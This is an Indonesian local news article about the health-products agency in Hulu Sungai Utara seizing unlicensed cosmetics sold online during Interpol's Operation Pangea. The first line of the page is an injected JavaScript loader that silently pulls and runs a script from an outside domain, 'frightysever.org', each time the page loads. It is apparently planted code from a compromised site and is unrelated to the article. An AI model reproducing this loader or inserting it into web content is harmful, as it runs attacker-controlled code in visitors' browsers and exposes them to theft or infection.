(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Badan Pengawas Obat dan Makanan (BPOM) Kabupaten Hulu Sungai Utara (HSU) kembali menyita puluhan produk kosmetik tidak memiliki izin edar. Terutama yang dijual secara online di kawasan Kota Amuntai dan sekitarnya, Rabu (11/3/2020).
Penyitaan puluhan produk kosmetik ini digelar dalam rangka ‘Operasi PANGEA’ atau operasi internasional yang dilakukan di bawah koordinasi Interpol. “Giat ini melibatkan partisipasi aktif negara anggota Interpol dengan fokus pelaksanaan memutus sistem distribusi obat ilegal melalui media internet berupa deteksi infrastruktur internet, sistem pembayaran elektronik dan tata cara pengiriman barang, sederhananya produk-produk yang dijual online,” Jelas Kepala BPOM HSU Bambang Hery Purwanto di sela-sela kegiatan.
Kosmetik ilegal hasil sitaan BPOM HSU. foto: dew
Dikatakan Bambang, dalam operasi kali ini Loka BPOM HSU bersama dengan Dinkes HSU, Dinas Perdagangan HSU dan Diskominfo HSU melakukan operasi penindakan tindak pidana kosmetik tidak memiliki izin edar terutama yang dijual secara online. “Dalam hal ini BPOM secara serentak melakukan operasi PANGEA yang dilaksanakan di seluruh daerah.” Ujarnya
Operasi PANGEA yang dilakukan BPOM HSU. foto: dew
Menurut Bambang, dari dua tempat digelarnya operasi kali ini, setidaknya ditemukan sebanyak 21 macam item kosmetik yang tidak memiliki izin edar. Terhadap temuan tersebut pihaknya akan melakukan proses tahapan selanjutnya termasuk melakukan pemeriksaan saksi dan melengkapi berkas yang dibutuhkan
“Untuk pelanggarannya terkait dengan mengedarkan kosmetik yang tidak memiliki izin edar melanggar Undang-Undang Kesehatan Pasal 197 dengan ancaman pidana maksimal 15 tahun dan denda maksimal Rp 1,5 miliar,” tegas Bambang.
Sementara untuk para pedagang atau pengusaha yang melakukan produksi atau mengedarkan kosmetik yang tidak memiliki izin edar dimohon kami himbau untuk mengganti produknya dengan yang memiliki izin edar lanjutnya.
Kosmetik ilegal dirazia BPOM HSU. foto: dew
“Untuk proses izin edar kami dari BPOM melakukan percepatan terhadap izin edar kosmetik, sebagai badan kami siap membantu terhadap usaha yang memproduksi kosmetik untuk mempercepat proses pembuatan izin edar” pungkasnya
Adapun operasi kali ini, pihak BPOM HSU bersama tim mendatangi para pedagang atau distributor kosmetik yang diketahui menjual obat-obatan dan kosmetik secara online di wilayah kabupaten HSU seperti di kawasan kota Amuntai dan Desa Sungai Turak Kecamantan Amuntai Utara.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.